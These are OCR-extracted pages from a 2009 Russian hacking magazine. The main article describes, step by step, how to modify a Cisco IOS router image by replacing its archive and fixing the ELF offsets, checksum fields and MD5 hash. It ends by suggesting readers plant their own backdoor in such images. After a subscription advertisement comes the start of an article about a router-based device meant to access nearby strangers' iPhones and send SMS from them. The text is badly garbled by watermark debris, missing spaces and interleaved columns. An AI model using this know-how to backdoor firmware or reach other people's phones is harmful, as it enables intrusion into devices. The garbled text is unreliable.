Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
14.76 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Сообщениеонехваткепамяти

ТЕОРИЯ(ИНТЕГРАЦИИНОВОГОАРХИВА)

Далеетребуетсясейархивпоместитьвместооригинальногообраза. Чтобыпроделатьэто, нампонадобитсяшестнадцатеричныйредактор типаWinHex, HT Editor илиhview. ЯпредпочитаюWinHex, нопонадобитсяещеиHT, чутьпозжеобъяснюпочему.

Кактыможешьвидетьнаскриншоте, бинарныйобразIOS, скореевсего, естьнечтоиное, какисполняемыйфайлвформатеELF (Executable and Linkable Formate). ELF-форматявляетсяосновнымисполняемым

файломв*nix-like системах, поэтомунеудивительновстретитьегоздесь. ПоELF-форматусуществуетчеткаяспецификация, последняяверсия которой1.2, однакодлянашихцелейбудетдостаточно, например, заголовочногофайлаизсоставаlibc — elf.h. ОбычныйбинарныйELF-файл представляетсобойструктурувида:

ELF Header

Program Header Table (optional) Section 1

Section 2

Section n

Section Header Table

Неуглубляясьвописание(идабынеповторяться), отправляютебяк спецификации.

ТаккаквесьпроцессисследованияяпроводилвMS Windows, топришлосьискатьзаменуутилитеreadelf изсоставаbinutils. Подходящим вариантомоказалсяшестнадцатеричныйредакторHT (hte.sf.net), которыйумеетчитатьимодифицироватьструктурыданныхисполняемых файловELF. Припопыткеоткрытьподопытныйобразc2600-entbasek9- mz.124-9.T1.bin, HT сразуменяобругал, чтоипривлекломоевнимание. Обратимсякelf.h. Структураданных, отвечающаязаELF-заголовок, выглядиттак:

typedef struct {

Elf_Char e_ident[EI_NIDENT]; Elf32_Half e_type;

Elf32_Half e_machine;

Elf32_Word e_version;

Elf32_Addr e_entry;

Elf32_Off e_phoff;

Elf32_Off e_shoff;

Elf32_Word e_flags;

Elf32_Half e_ehsize;

Контрольнаясумма

Elf32_Half e_phentsize;

Elf32_Half e_phnum;

Elf32_Half e_shentsize;

Elf32_Half e_shnum;

Elf32_Half e_shstrndx;

}Elf32_Ehdr;

Внашемслучаеполеe_machine имеетзначение0x002b или43, что соответствуетпроцессоруSPARC v9:

#define EM_SPARCV9 43 /* SPARC v9 64-bit */

Нонамизвестно, чтомаршрутизатор2611 используетпроцессор Motorolla MPC860, значит, поледолжноиметьзначение0x0014, — что соответствует:

#define EM_PPC 20 /* PowerPC */

Скореевсего, этопростейшаязащитаотдизассемблированияобраза. Намэтонесильнопомешает. СпомощьюF6 открываемрежимпросмотраelf/header. Изнегостановятсяизвестныследующиеподробности:

-elf header size 0x34

-program header entry size 0x20

-program header count 1

-section header entry size 0x28

-section header count 6

Что, всумме, даетразмер52+32+6*40=324 или0x144, тоесть, вфайле всего6 секций(соответственно, 6 заголовковсекций) и1 заголовокпрограммы. Вероятнеевсего, однаизсекцийпредназначенадляхранения архивасисполняемымобразомIOS. Этусекциюможновычислитьлибо поразмеру(логично, чтоееразмердолженбытьмаксимальным), либо потипусекции. Заголовоктаблицысекцийможнопросмотреть, нажав <F6> ивыбравelf/section headers, нодляначалаобратимсякописанию секции:

typedef struct { Elf32_Word sh_name; Elf32_Word sh_type; Elf32_Word sh_flags; Elf32_Addr sh_addr; Elf32_Off sh_offset; Elf32_Word sh_size; Elf32_Word sh_link; Elf32_Word sh_info;

Elf32_Word sh_addralign; Elf32_Word sh_entsize; } Elf32_Shdr;

060

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

РедакторHT

Полеsh_type ибудетотвечатьзаискомыйтип.

Ксожалению, здесьменяждалоблом, — большинствосекцийимело типSHT_PROGBITS, предназначенныйдлясекций, значениекоторых определяетсясамойпрограммой. Однакочетвертаясекцияимелатип, отличныйотпредыдущих, изначение0x00000007 (секцияпредназна- ченадлякаких-топрограммныхзаметок). Первая(нулевая) секция такжеимеетотличныйотпредыдущихтип(SHT_NULL). Исходяиз этого, ясно, чтоонапустаяинисчемнеассоциирована. Витоге, приходитсяискатьсекциюсмаксимальнымразмером(полеsh_size). Это

— секциязаномеромпять, ееразмер0x1070e7c или17239676 байт. Вернемсякhex-виду(<F6> — hex) иперейдемпосмещению(поле sh_offset) спомощью<F5>.

Чтожемыздесьвидим? Гденашархив, которыйдолженначинатьсяс сигнатурыPK, аточнее, еслиследоватьспецификацииPKZIP-формата

(pkware.com/documents/casestudies/APPNOTE.TXT), — с0x04034b50

вобратномпорядке? Какнистранно, этасигнатураобнаруживается на22 байтапозже. Аеслихорошоприсмотреться, тоотказывается, что сразузазначением0xFEEDFACE идетразмерраспакованногообраза 0x02AED904. ВнимательнопоискаввСети, можнонаткнутьсянаинфор-

мациюизкнигиCisco Networks Hacking Exposed издательстваMcGraw Hill/Osborne.

Наши русские парни Andrew A. Vladimirov, Konstantin V. Gavrilenko, Janis N. Vizulis and Andrei A. Mikhailovsky еще в 2006 году зани-

мались разработкой бинарного патчинга IOS 12.3(6). Им удалось выяснить, что после магического значения 0xFEEDFACE идут последовательно uncompressed image size, compressed image size, compressed image checksum, uncompressed image checksum.

Товарищам также стало известно, что алгоритм вычисления контрольной суммы представляет собой модифицированный алгоритм контрольной суммы в интернете. К счастью, нам не придется ничего вычислять — проверено на практике, что маршрутизатор сам скажет, какое значение должно иметь это поле, если, конечно, подсчитанная контрольная сумма и записанная в соответствующем поле не совпадут:

Error : compressed image checksum is incorrect 0xB99D8823

Expected a checksum of 0xF6F69877

*** System received a Software forced crash ***

signal= 0x17, code= 0x5, context= 0x800805f0 PC = 0x0, Vector = 0x0, SP = 0x0

ПРАКТИКА(ИНТЕГРАЦИИНОВОГОАРХИВА)

Перейдемкактивнымдействиям. Дляначалавырезаемизфайластарую четвертуюсекцию, содержащуюzip-архив, — заисключением20 байт, начинаясмагическогозначения0xFEEDFACE досигнатурыzip (тоесть, сосмещения0x44F8 посмещение0x1075360 + 0x44F8). Затемпосмещению0x44F8 вставляемновыйархив.

Соединимвсюизвестнуюнаминформациювоедино. Размерстарой

Стираемflash

СигнатураFEEDFACE поискомомусмещению

секции(№5), содержащейархивсобразомIOS, загружаемымвпамять, — 0x1070e7c или17239676 (включая20 байтс0xFEEDFACE по0x504B0304).

Размерновойсекции, содержащейархив, — 0xFB9D38 или16489784 (включаятеже20 байт). Разницамеждустарыминовымзначением составит0xB7158 — 749912. Тоесть, смещениечетвертойсекции, физическирасположеннойвфайлепослепятойсекции, требуетсяизменитьс

0x1075360 на0xFBE208!

Старыезначенияпослемагическойзаписи0xFEEDFACE:

unpacked image size: 0x02AED904 45013252

packed image size: 0x01070E66 17239654 (разница с размером 5й секции - на 22 байта меньше)

packed image checksum: 0xB58BE139 unpacked image checksum: 0xA29D4F6E затем идет сигнатура: 0x504B0304

Новыезначенияпослемагическойзаписи0xFEEDFACE:

unpacked image size: 0x02AED904 (остался тот же)

packed image size: 0x00FB9D22 16489762 (разница с размером 5й секции - на 22 байта меньше)

packed image checksum: нам неизвестна и можно заменить на что-нибудь приметное, типа 0x48000000

unpacked image checksum: 0xA29D4F6E (остался тот же)

Новуюконтрольнуюсумму, какяужеговорил, сообщитсаммаршрутизатор.

После всех манипуляций конечный образ был получен, но его размер меня не впечатлил. По сравнению с изначальным размером 16,4 MB (17257364 bytes) я получил всего лишь 15,7 MB (16507472 bytes).

Разница, которую я уже посчитал выше, составила 749912 байт. Конечно, это позволит загрузить образ на flash, но, скорее всего, придется применять опцию /no-squeeze-reserve-space. Когда при копировании маршрутизатор запросит повторное стирание flash, подтверждать действие не нужно. Естественно, такаяситуациябыла бытольковтомслучае, еслиобразбылбысформированправильно. Поэ-

XÀÊÅÐ 04 /124/ 09

061

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Содержимоеархива

томуянесталспешитьидлязагрузкиобразазашелврежимrommon по <Ctrl+Break>. И— сосвоегокомпьютеразагрузилобразпоtftp напрямую вRAM:

rommon 1>tftpdnld -r

Послезагрузкимаршрутизаторясказал:

TFTP flash copy: Error, image size (16507470) mismatches netsize (16507472).

Оказалось, чтоприредактированииразмера5йсекциияошибсяна2 байта(тесамые20 байтс0xFEEDFACE + 2).

Послевторойпопыткизагрузкивыяснилось, чтоконтрольнаясумма запакованногообраза— 0xB0257B0D:

Error : compressed image checksum is incorrect 0xB99D8823

Expected a checksum of 0x48000000

*** System received a Software forced crash ***

signal= 0x17, code= 0x5, context= 0x800805f0 PC = 0x0, Vector = 0x0, SP = 0x0

Корректируемсоответствующееполепосле0xFEEDFACE (загружаем файлвHT по<F3>, переходимпосмещениюспомощью<F5> иредактируемпо<F4>, незабываясохранятьсяпо<F2>). Сновагрузимся.

rommon 4>reset -s

Дальшевсенормально, однакозатемIOS вываливаетсяиотказывается работатьпопричиненедостаткапамяти.

НИКОГДАНЕСДАВАЙСЯ

Янерасстроилсяирешилвзятьсязадругойобраз— c2600- advsecurityk9-mz.124-21.bin. Послеаналогичныхманипуляцийсбайтами, дажеприиспользовании128-битногословав7zip, размерсоставил 15947076 (противизначальных16635336), чтопозволилозагрузитьегово flash. Помимопрочего, этотобразуженеругалсянанедостатокпамяти RAM ипрекрасночувствовалсебянаэтойплатформе:

router#show version

Cisco IOS Software, C2600 Software (C2600- ADVSECURITYK9-M), Version 12.4(21), RELEASE SOFTWARE (fc1)

<skiped>

router#show memory summary

Head Total(b) Used(b) Free(b) Lowest(b) Largest(b) Processor 82A44240 20244772 8718640 11526132 10171028 10098348

I/O 3CA3400 3525632 1650536 1875096 1875096 1875068

<skiped>

router#show flash:

System flash directory: File Length Name/status

1 15947076 c2600-advsecurityk9-mz.124-21-shad-pk.bin [15947140 bytes used, 830072 available, 16777212 total] 16384K bytes of processor board System flash (Read/ Write)

Остаетсяещеоднанебольшаяпроблема. Еслизапуститьпроверку:

router#verify flash:c2600-advsecurityk9-mz.124-21- shad-pk.bin

— маршрутизаторобругаетнас, сообщив, чтоEmbedded hash и Calculated hash несовпадают. Исправитьэтооченьпросто— 16 байт контрольнойсуммынаходитсявсамомконцебинарногофайлаобраза. Обнаружитьэтоможнодажеспомощьюпростогопоиска:

Послеисправлениямаршрутизаторсообщает, чтоконтрольнаясумма успешноподсчитанаисовпадает:

Embedded Hash MD5 : 3DD2C6591FF4F033425147DE4540F9CD Computed Hash MD5 : 3DD2C6591FF4F033425147DE4540F9CD CCO Hash MD5 : 79020945BDFE2A354E012C8303136360

Embedded hash verification successful.

File system hash verification successful.

ЛОГИЧЕСКОЕЗАКЛЮЧЕНИЕ

Новыйобразготовиправильносформирован. Усвоивэтустатью, ты получишьопыт:

1)поформатуPKZIP;

2)поформатуисполняемыхфайловELF;

3)повнутреннемуустройствуобразовCisco IOS;

4)поработеврежимеrommon маршрутизатора.

Крометого, готовзаделдлядальнейшихизвращенийнадмаршрутизаторами. Дляобщегоразвитияможнопоковырятьраспакованныеобразыв IDA, изучитьвирусыв*nix-like системах, чтобыпроинфицироватьобраз своимбекдором, нуисобственно, написатьбекдор. A моиизысканияздесь успешнозаканчиваются. Всевопросы, пожеланияи, вособенности, идеи, мойдорогойдруг, яготовполучитьпоэлектроннойпочте. Срадостьюотвечу ипомогупомересил. Удачивбинарномпатчинге... инетолько.z

062

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

df-xchan

d

 

 

F

 

ПОДПИСКА

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

В РЕДАКЦИИdf-x chan

 

t

 

 

F

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

e

 

+

ГОДОВАЯ ПОДПИСКА ПО ЦЕНЕ

2100 руб.

(на 15% дешевле чем

 

при покупке в розницу)

Единая цена по всей России. Доставка за счет издателя, в том числе курьером по Москве в пределах МКАД

ВНИМАНИЕ! ВТОРОЕ СПЕЦПРЕДЛОЖЕНИЕ!

Приподпискенакомплектжурналов

ЖЕЛЕЗО+ ХАКЕР+ DVD:

- Одинномервсегоза155 рублей(на25% дешевле, чемврозницу)

ÇÀ 12 ÌÅÑЯÖÅÂ

ÇÀ 6 ÌÅÑЯÖÅÂ

3720

2100

ðóá

ðóá

Подписка на журнал «ХАКЕР+DVD» на 6 месяцев стоит 1200 руб.

ВЫГОДАГАРАНТИЯСЕРВИС

КАК ОФОРМИТЬ ЗАКАЗ

1. Разборчиво заполните подписной купон и квитанцию, вырезав

их из журнала, сделав ксерокопию или распечатав с сайта www.

glc.ru.

2. Оплатите подписку через Сбербанк .

3. Вышлите в редакцию копию подписных документов — купона и

квитанции — любым из нижеперечисленных способов:

по электронной почте subscribe@glc.ru;

по факсу 8 (495) 780-88-24;

по адресу 119021, Москва,

ул. Тимура Фрунзе, д. 11, стр. 44,

ООО «Гейм Лэнд», отдел подписки.

ВНИМАНИЕ!

Подпискаоформляетсявденьобработкикупонаиквитанциивредакции:

в течение пяти рабочих дней после отправки подписных документов в

редакцию по факсу или электронной почте;

в течение 20 рабочих дней после отправки подписных документов по

почтовому адресу редакции.

Рекомендуем использовать факс или электронную почту, в последнем

случае предварительно отсканировав или сфотографировав документы.

Подписка оформляется с номера, выходящего через один кален-

дарный месяц после оплаты. Например, если вы производите оплату в апреле, то журнал будете получать с июня.

По всем вопросам, связанным с подпиской, звоните по бесплатным телефонам 8(495)780-88-29 (для москвичей) и 8(800)200-3-999 (для жителей других регионов России, абонентов сетей МТС, БиЛайн и Мегафон). Вопросы

о подписке можно также направлять по адресу info@glc.ru или прояснить на сайте www.GLC.ru

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

 

w Click

to

 

 

 

взлом

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

D0ZNP

/ HTTP://OXOD.RU /

iPhone

ТЕРМИНАТОР

СОЗДАЕМ АВТОМАТИЧЕСКОЕ СРЕДСТВОАУДИТАAPPLE IPHONE

В мартовском номере, в статье «Яблочное пюре», я рассказал о самом популярном и притязательном телефоне на рынке — Apple iPhone. Можно долго спорить на тему его функциональности, сравнивать с камнем или с ЛСД, восхищаться и глумиться, но все это я оставлю на твое личное усмот-

рение. На себя же возьму обязательство продолжить рассказ о безопасности устройства. А безопасность iPhone, скажу я тебе, оставляет желать лучшего.

>> взлом

Сперваразберемся, чтожезаставляетандеграунддвигатьсяв

одноймоделиайфонамогутпозавидоватьцелыесериителефонов.

определенномнаправленииисследований. Еслисудитьпоколичест-

СкольковсегонатерриториинашейпрекраснойстраныiPhone, не

вуприкладныхэксплоитов(офигетькакойпоказатель, самзнаю), то

знаетникто, нооценкуэтойвеличиныдатьможно. Налентеза26 января

Win-системыгораздоболееуязвимы, чемвсеNix вместевзятые. Глупо

значиласьцифра120.000 проданныхбелых3g. Доэтоговремени, по

предполагать, чтоделотольковкривизнекодаотMicrosoft. Весьсекрет

оценкамэкспертов, былоеще250.000 серыхтелефонов. Всуммеполу-

впопулярности: чембольшепользователейпользуютсясофтом, тем

чаемгде-то370.000. Зацифруянеручаюсь, и, еслиокажется, чтоонав

большеинтереса(материальногоиидейного) искатьвнемошибкии

дваразавыше, — неудивлюсь. Нашиоператорыобязалисьзадвагода

уязвимости. Какойрезонвпубликацииневероятносложнойикрасивой

продатьоколо3 млн. устройств, такчтоимещеестькудастремиться...

атакинакакой-нибудьAmoi MD-1 (этомобильныйтелефон, есличто)? А

Водномотдельновзятомкафевстолицелегкоможновстретить5-10

вотвпростойатакенаApple iPhone пользыкудабольше! Популярности

айфоновзараз. Хотелбытыполучитьвозможностьобрабатыватьчужие

064

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Power in from car

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

>> взломw Click

 

BUY

 

 

 

 

to

 

 

 

 

m

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Power out to PC

 

 

 

 

 

PAD1

1 L1

2

 

 

 

 

O3 PS2

PS3

 

 

 

 

 

1 L2

2

 

 

 

 

 

 

 

 

 

120H

 

 

 

 

 

 

 

 

 

 

 

120H

 

 

PAD3

 

 

 

 

 

PAD2

 

 

 

 

 

 

 

 

 

 

 

4

 

 

 

 

 

 

 

 

 

 

 

 

 

1000uF С2

 

1000uF

O2

13:13

Temteon

 

С

1000uF

 

1000uF

PAD4

 

 

 

 

 

 

 

 

 

 

 

 

 

PS1

PS4

 

 

 

 

 

 

 

 

 

 

 

 

 

 

GND

 

 

GND GND

 

GND

 

GND GND

 

GND GND

 

 

 

 

 

 

 

 

 

 

 

 

 

1000uF

 

D1

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C6

 

C7

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

100nF

 

 

 

 

R3

 

 

 

 

 

 

C11

 

 

 

 

 

 

1

COMREF

8

GND

 

 

 

 

47k

2k2

 

 

 

 

 

 

100nF

R6

1k R2

220k

С8

 

2

7

 

 

 

US 3

R4

O1

 

 

 

 

 

 

 

 

VFB VCC

D1

 

BC 547

 

 

 

 

 

100nF

 

 

 

 

 

 

 

 

 

O2

3

ILIM OUT

6

 

IRFZ44N

 

 

 

 

 

 

 

 

BC 547

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

GND

 

 

 

 

4

OSCGND

5

22

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

R5

10k

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C10

 

 

 

 

 

 

 

 

GND GND

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

10k

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

R7

 

22nF

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

GND

 

GND

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

GND

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

10k

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C9

 

 

 

 

 

R9

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1nf

 

 

 

 

 

 

 

 

 

ЭЛЕКТРИЧЕСКАЯСХЕМААДАПТЕРАПИТАНИЯ12 В

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ОТАВТОМОБИЛЬНОГОПРИКУРИВАТЕЛЯСПОДАВЛЕНИЕМ

GND

 

 

 

GND

 

 

 

 

 

ШУМОВ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

телефонывавтоматическомрежиме? Дальшеяопишупроцесссоздания

использованиилюбогороутераизэтогосписка: http://wiki.openwrt.org/

устройствадляпоискаиаудитаяблочныхтелефонов. Мыскомбинируем

CompleteTableOfHardware.

 

 

 

 

 

принципыпассивногоиактивногосканирования, атакжеописанныев

Еслимоихдоводоввпользувыбораплатформынедостаточноижелание

предыдущейстатьеатаки. Наштерминаторбудетпытатьсяполучитьдо-

повторитьвсенижеописанноенаноутенепреодолимо, — вперед! Весь

ступковсемайфонамвокругеизапускатьнанихтестовоеприложение

используемыйсофтработаетподлинухомибезтрудазаведетсяподтвой

дляотправкиSMS. Нувсе, хватитобещаний, поехали!

 

 

 

 

любимыйдистрибутивилидругойникс. Навсякийслучайнапомню:

 

 

 

 

 

 

 

 

 

 

 

 

 

есливозникнуткакие-товопросы, можешьзадатьихвмоемблоге(oxod.

ВЫБИРАЕМПЛАТФОРМУ

 

 

 

 

 

 

 

ru). ТольконезабудьвытащитьжесткийдискипоставитьОСнафлешку:

Давайприкинем, какимосновнымтребованиямдолжноудовлетворять

приходьбеи, темболее, беге, естьбольшойшансзаклинитьдажесамые

автоматическоесредствоаудитамобильныхтелефонов? Преждевсего,

дорогиедиски. Сплатформойопределились, едемдальше!

 

конечно, мобильность, извиняюсьзатавтологию. Идеяиспользовать

 

 

 

 

 

 

 

 

 

 

 

 

 

обычныйноутбукприходитвголовусразу, однако, этоневсегдаудобно.

СОБЕРИСАМ. СОЗДАЕМСВОЮПРОШИВКУ

 

 

Япредлагаюпоступитьпо-хакерскиисделатьiPhone терминатораиз

Длямоегороутерасуществуетнесколькодистрибутивовлинукса. Это

обычногобеспроводногороутераилиточкидоступа. Такаяплатформа

— openwrt, dd-wrt идругие, менееизвестные. Ярешилиспользовать

обладаетрядомпреимуществпосравнениюсноутом:

 

 

 

 

openwrt исключительнопоэтическимсоображениям, итыможешь

 

 

 

 

 

 

 

 

 

 

 

 

 

выбратьчтоугодно, илидажевоспользоватьсяоригинальнымдистри-

• Компактные размеры (меньше, чем даже 10-дюймовые нетбуки)

бутивомотпроизводителя, ихчастовыкладываютподлицензиейGPL.

• Маленький вес (150 г!)

 

 

 

 

 

 

 

Вобщем, необходимоеусловиеодно— наличиеtoolchain, т.е. средств

• Низкое энергопотребление (питается от аккумулятора)

 

кросс-компиляции, спомощьюкоторыхмысоберемипоместимв

• Штатный разъем для внешней антенны (попробуй найди в

 

прошивкунестандартныеутилиты. Намвсего-топотребуются: expect,

магазине PCMCIA беспроводную карту с разъемом внешней

 

ssh client, sshd, http-сервер, dns-сервер. Будурассказыватьнапримере

антенны)

 

 

 

 

 

 

 

 

 

 

 

openwrt, такчтовыкачиваемсборкуподсвоюмодель, вмоемслучаеэто:

• Дешевизна (~2000р против ~8000 руб. за самый дешевый

 

http://downloads.openwrt.org/kamikaze/8.09/brcm-2.4/openwrt-brcm-

нетбук)

 

 

 

 

